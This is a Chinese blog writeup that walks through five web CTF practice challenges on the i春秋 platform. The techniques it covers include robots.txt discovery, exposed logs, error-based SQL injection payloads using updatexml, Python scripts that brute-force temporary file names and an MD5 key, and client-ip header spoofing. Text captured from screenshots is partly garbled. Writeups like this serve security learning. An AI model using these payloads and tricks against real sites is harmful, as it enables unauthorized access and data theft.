# 记一次CTF过程(Writeup)



 CTF 专栏收录该内容

 1 篇文章 0 订阅

 订阅专栏

## 前言

在i春秋平台看到几个ctf练习题,就点进去看看吧,能做就做不能做说明水平有限,还要继续加油(革命尚未成功,同志仍需努力)O(∩\_∩)O哈 哈~

## 第一题: Robot

	robot	
月19日24本题分值:50分  已解答	http://106.75.86.18:1111	58:
flag :	携	×
	http://blo	g- <del>esdn.消范t/注f794536446</del> 前

### 题目名称: Robot

有没有觉得这个题目很熟悉?没错robots.txt!很熟悉。可能解题思路就和robots.txt有关了。访问链接,网页显示位一张机器人的图片,没什么信息,网页源代码同样没有什么具有价值的信息。





那我们就抓个包看看吧,用burpsuite爬一下,说不定有收获呢?

🚺 Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau									
Burp Intruder Repeater Window Help									
Target Proxy Spider Scanner Intruder Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	Sqlmap	
Site map Scope	Site map Scope								
Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders									
▼ 🕞 http://106.75.86.18:1111 Contents Issues									
/	Host		Method	URL		Params Sta	atus 🔺 L	(i) R	obots.txt file
	http://106.75.	86.18:1111	GET	/robots.txt	: http://	/blog. (20	oln. na	t/1f79	94536440
果然看到了熟悉的身影——robots.txt,访问一下试试。									
				Ŭ	c ☆ 🖻	) 🥹 🄇	Þ		

User-agent: \* Disallow: Disallow: /admin Disallow: /admin/3hell.php

📸 百度

ttp://blog.csdn.net/1f794536440

有好东西出现了,可以看到robots.txt显示有个/admin/3he11.php,那我们就看一下吧。访问过后空白一片,难道思路不对?等一下!好像忘了什么,没错!网页源代码,这可是网页最直观的东西啊。



哈哈, flag找到了, so easy!

第二题: seelog

	seelog	
月19日24本题分值:50分 已解答	http://106.75.86.18:3333	53:
flag :	http:/	提交 /blog.csdn.前时分11794556410

#### 题目名称: seelog

访问链接,看到"本站是内部网站,非请勿入"但是题目中提到了seelog。。。。这是什么含义?想一下,see log拆开看log是日志文件的扩展名,难道和日志有关?不管了,先试一下吧,访问一下log.txt,可惜并没有返回 404,那访问一下log目录吧。

# Index of /log

Name	Last modified	Size Description
Parent Directory		_
access.log	2017-10-17 14:40	11M
error.log	2017-10-17 14:40	266K

Apache/2.4.7 (Ubuntu) Server at 106.75.86.18 Port 3333

http://blog.csdn.net/1f794536440

两个日志文件,挨个看一遍吧,打开access.log看一下,都是一些访问记录。



用户名	
密码	

登录 flag{b10233b0-b2d3-df17-ae6f-5ddf230cf66f}

http://blog.csdn.net/1f794536440

## 第三题: VID

	VID	
月19日24本题分值:100分 已解答	http://106.75.26.211:1111	58:
flag :	提交	

题目名称: VID

访问链接,看到网页显示如下:



false

http://blog.csdn.net/1f794536440

这是什么鬼?一脸的问号?没关系先看一下网页源代码吧,上面也说道了,它是页面最有价值的东西了,果然有蹊跷啊。

🕕 鐵下	培训基地Web安全 × http://106.75.26.211:1111/	× http://106.7	75.26.	211:1	111/	×	+	
<b>∂</b>	① view-source:http://106.75.26.211:1111/		Ŭ.	G	合	Ê	₽	۷ و
📸 百度		Net						No. In
1 do	you know Vulcan Logic Dumper? br>false br>	index.</th <th>php</th> <th>. txt</th> <th>?&gt;</th> <th></th> <th></th> <th></th>	php	. txt	?>			
		http://blo	og. (	esdn	. net	t/1f	7943	536440

访问index.php.txt文件看一下,可以看到以下代码:



简单说让以GET方式传入参数: flag1, flag2, flag3并赋值,那么我们就传入参数"? flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi"。提示:next step is 1chunqiu.zip,是一个压缩文件,下载下 来看看吧。



取消

打开压缩包看到四个php文件,两个html文件和一个css文件夹:

确定

			本地磁盘	
css			文件夹	2016/8/12 18:46
📓 config.inc.php	315	202	PHP 文件	2016/9/29 16:04
📓 dbmysql.class.php	1,541	645	PHP 文件	2016/8/8 10:28
🥑 login.html	667	365	Firefox HTML Do	2016/8/7 14:50
📓 login.php	1,300	547	PHP 文件	2016/9/29 17:50
🥃 register.html	661	362	Firefox HTML Do	2016/9/29 16:47
📓 register.php	1,231	543	t��P,这件log.cs	2016/9/29 16:5094536440

打开php文件看一下

● 保存文件(S)

□ 以后自动采用相同的动作处理此类文件。(A)



在login.php文件中发现文件是以POST方式传入"username"、"password"、"number"并且在"\$username"将两头的"number"替换为"",那么这就存在sql注入了,根据源代码构造payload: "number=0&username=123%00' and updatexml(1,concat(12, substr((sel0ect flag from

flag),10,25)),1)%23&password=1"和"number=0&username=123%00' and updatexml(1,concat(12, substr((sel0ect flag from flag),25,35)),1)%23&password=1"。并访问/1chunqiu/login.php,用POST发包的方式 将payload发到数据库中。

INT Y	<ul> <li>SQL• XSS• Encryption• Encoding• Other•</li> <li>http://106.75.26.211:1111/1chunqiu/login.php</li> </ul>
• Execute	
Rost data	Inable Rost data     Inable Referrer      number=0&username=123%00' and updatexml(1,concat(12, substr((sel0ect flag from flag),10,25)),1)%23&password=1

数据库执行错误!XPATH syntax error: '<mark>f</mark>lag{87f2f55e-9f3b-3761-9'

ttp://blog.csdn.net/1f794536440

СС U	Lo <u>a</u> d URL	http://106.75.26.211:1111/1chunqiu/login.php
00 •	Execute	
		🗹 Enable Rost data 🗌 Enable Referrer
Pos	it elaita	number=0&username=123%00' and updatexml(1,concat(12, substr((sel0ect flag from flag),25,35)),1)%23&password=1

数据库执行错误!XPATH syntax error: eef-4054e88ee51f}'

http://blog.csdn.net/1f794536440

将两段flag合在一起就可得到完整的flag了

第四题:天下武功为快不破

	天下武功唯快不破		o	$\otimes$
目19日24.本题分值:100分 已解答	http://106.75.26.211:3333			5
flag :		提交	]	
	http:/	/blog.c	sdn. het/1r794.	030440

题目名称:天下武功唯快不破

访问链接,发现给力一段源代码:



意思是:设置cookie的"key=token"和"value=hello",判断cookie是否为真,如果为真,那么将"flag.php"文件中的内容以字符串的方式写到\$filename中,并命名为u/md5(mt\_rand(1,1000)).txt(中间的意思为:在1-1000中随机产生一个数并用MD5的方式加密)。在延迟10秒后删除文件。

所以我们就可以用python脚本来解题了,代码如下:

```
import requests as rq
import hashlib
import threading
import Queue
url = 'http://106.75.26.211:3333'
queue = Queue.Queue()
def make_queue():
  for i in range(1, 1001):
     m = hashlib.md5()
     m.update(str(i))
     furl = url + '/u/' + m.hexdigest() + '.txt'
     queue.put(furl)
def worker():
  count = 0
  while not queue.empty():
     count = count + 1
     print count
     u = queue.get()
     result = rq.get(u).text
     if '404' not in result:
       print result
       break
     queue.task_done()
def main():
  make queue()
  for i in range(50):
    t = threading.Thread(target = worker)
    t.daemon = True
    t.start()
  queue.join()
if __name__ == '__main__':
  main()
脚本运行中会看到flag已经显示出来了。
```

```
<?php
$f1ag="f1ag {705ce98f-bb7f-b5a4-acc6-6ea7bf80e75a}";
18
1818 http://blog.csdn.net/1f794536440
```

第五题: fuzzing

	<u> </u>	
本题分值:200分 已解答 htt	tp://106.75.108.111:2222	帮会毒瘤 解出了 fuzzi 王晓晓 解出了 fuzzing
flag :	提交	od执念 解出了 fuzzin 悟123 解出了 天下武

## 题目名称: fuzzing

访问链接,会看到页面只显示"there is nothing"除此之外什么都没有,网页源代码也是只有"there is nothing",所以我们先用burpsuite抓包看一下。在burpsuite的repeater模块中在访问http://106.75.108.111:2222是返回的 response并没有什么异样:



但是在链接的重定向跳转的http://106.75.108.111:2222/test.php中,我们在repeater的模块中的response中发现 了异常:

Request	Response				
Raw Headers Hex	Raw Headers Hex				
GET /test.php HTTP/1.1	HTTP/1.1 200 OK				
Host: 106.75.108.111:2222	Date: Wed, 17 Jan 2018 11:56:16 GMT				
User-Agent: Mozilla/5.0 (Windows NT 10.0; W0W64; rv:52.0) Gecko/20100101	Server: Apache/2.4.7 (Ubuntu)				
Firefox/52.0	X-Powered-By: PHP/5.5.9-lubuntu4.22				
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	hint: ip,Large internal network				
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3	Content-Length: 16				
Accept-Encoding: gzip, deflate	Connection: close				
Connection: close	Content-Type: text/html				
Upgrade-Insecure-Requests: 1					
	there is nothing http://blog.csdn.net/1f794536440				

response中显示: hint: ip,Large internal network(最大内网ip),内网ip中最大的网段应该就是10.0.0.0了,所 以我们伪造ip再一次访问题目链接,那么如何伪造ip呢?我们可以用火狐的插件伪造,也可以用burpsuite伪造, 小编用的插件(modify headers)随便伪造了10.0.0.0网段的ip,点击start。

🥹 Modify Headers			-		x
Start Headers	tions About Help				
Select action V Hea	ader name (e.g. user-agent) Header value	Descriptive comment	Add	Reset	:
Action Name Modify client-ip	10.1.12.1	Comment		Edit	
				Delete	
			.net/1f	确定 79455	<b>6</b> 440

### 再次访问题目链接,发现页面已经变化:

3 线下培训国	地Web安全 × http://106.752/m4nage.php × +		-						
â <del>(</del> )	106.75.108.111:2222/m4nage.php	i php	C	合	Ê	÷	8	9	Q. 搜索
🔛 百度									
INT Y	= 🗢 SQL+ XSS+ Encryption+ Encoding+ Other+								
	http://106.75.108.111.2222/m/nage.php								
ie coga one	http://100.75.100.111.2222/114/lage.php								
H     Split URL	ntp.//100./ 5.100.111.2222/m4nage.php								
Split URL	ntp//100./5.100.111.2222/m4nage.php								

show me your key

http://blog.csdn.net/1f794536440

"show me your key"看到这里那么想到的是传入参数key,有两种方式:一、GET方式,二、POST方式,首先用最常见的GET方法,没有任何变化。换一种用POST方法,发现页面显示"key is not right,md5(key)==="5a2a7d385fdaad3fabbe7b11c28bd48e",and the key is ichunqiu[a-z0-9]{5}"。

銀下培训基	地Web安全 × http://106.75ge.php?key=1 × +						i same
â 🔶 🛈	106.75.108.111:2222/m4nage.php?key=1	🍎 php	C	合自	÷	۵ ک	Q. 搜索
🖀 百度 INT 💙	= ◇ SQL XSS Encryption Encoding Other						
Load URL       Load URL       Split URL       Execute	http://106.75.108.111:2222/ <mark>m4nage.php?key=1</mark>						
	🗌 Enable Post data 🔲 Enable Referrer						

show me your key

http://blog.csdn.net/1f794536440

Load URL       ₩     Split URL       ●     Execute	http://106.75.108.111:2222/m4nage.php
	🗹 Enable Rost data 🔲 Enable Referrer
Rost data	key=1

key is not right,md5(key)==="5a2a7d385fdaad3fabbe7b11c28bd48e",and the key is ichunqiu[a-z0-9]{5}

提示: key经过MD5加密后为"5a2a7d385fdaad3fabbe7b11c28bd48e",并且前八位是ichunqiu,后五位是由[a-z0-9] 组成,那么我们可以用穷举法得到后五位,用Python编写脚本来穷举得到key。脚本代码如下:

import hashlib

def md5(data):

m = hashlib.md5()

m.update(data)

a = m.hexdigest()

return a

a = 'ichunqiu' b = 'qwertyuiopasdfghjklzxcvbnm0123456789' for q in b: for w in b: for e in b: for r in b: for t in b: if md5(a+q+w+e+r+t)=='5a2a7d385fdaad3fabbe7b11c28bd48e': print q+w+e+r+t

运行脚本后,得到后五位是618ok,所以key=ichunqiu618ok

Microsoft Windows [版本 10.0.15063] (c) 2017 Microsoft Corporation。保留所有	「权利。
C:\Users\Ralph>python C:\Users\Ralph\De:	sktop\789.py
618ok	http://blog.csdn.net/1f794536440

## 将参数传入进去,得到以下提示:

	Lo <u>a</u> d URL Split URL Execute	http://106.75.108.111:2222/m4nage.php
Pos	t data	Enable Rost data     Enable Referrer      key=ichunqiu618ok
the	next step	:xx00xxoo.php http://blog.csdp.pet/1f794536440

## 接下来访问/xx00xxoo.php,得到以下提示:

IN	т 👻		Other
	Lo <u>a</u> d URL	http://106.75.108.111:2222/xx00xxoo.php	
Ц.	Split URL		
0	E <u>x</u> ecute		
		🗌 Enable Rost data 📃 Enable Referrer	

source code is in the x0.txt.Can you guess the key the authcode(flag) is

 $5c00UHY2kZEAW + rz6vzuH5 fpUeTUMO0sO4 + qnybaaNd8Ks5AdkQFREqs5hzDlhADpVVI3wQccV4fUFaityomFvScBbrSOCc_{794536440} + rz6vzuH5fpUeTUMO0sO4 + rz6vzuH5fpUeTUMO0sO4 + rz6vzuH5fpUeTUMO0sO4 + rz6vzuH5fpUeTUMO0sO4 + rz6vzuH5fpUeTUMOSO4 + r$ 

提示说源代码在"x0.txt"中,并且flag加密后的结果已经给出,我们只需要解密就可以了。访问/x0.txt,将源代码 复制到本地。

```
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
        $ckey_length = 4;
        $key = md5($key ? $key : UC_KEY);
        $keya = md5(substr($key, 0, 16))
        $keyb = md5(substr($key, 16, 16));
        $key_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
        $cryptkey = $keya . md5($keya . $keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string .
$keyb), 0, 16) . $string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
for ($i = 0; $i <= 255; $i++) {</pre>
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for ($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
```

将加密后的flag写入\$string, key写入到\$key中,并且echo加密函数"authcode"本地运行就可以得到flag了

php</th <th></th>	
function authcode(\$string = '	
<pre>bC000HY2kZEAW+rz6vzuH5+pUeIUM00s04+qnybaaNd8Ks5/ onepgtion = 'DECODE'</pre>	dKQFKEqs5hzDIhADpVVl3wQccV4†UFaltyomFvScBbrSUcq`, ≱ avninu = 0) ∫
<pre>\$ckey length = 4:</pre>	$x_{\mu} = 0$
, , , , , , , , , , , , , , , , , , ,	http://blog.csdn.net/1f794536440
1	
} echo_authcode():	
<pre>?&gt;</pre>	1+++//1-1
	nttp://blog.csan.net/11794536440
	× http://localhost/jiemi.php × +
î 🤆 🛈 localhost/jiemi.php	🍯 php C 🏠 🗎 🤚 🧐 🥥 🔍
📸 百度	
flag{bf9c71de-9852-93a0-9852-a23bc07dd12e}	

http://blog.csdn.net/lf794536440

转载请注明原地址: http://blog.csdn.net/lf794536440/article/details/79088457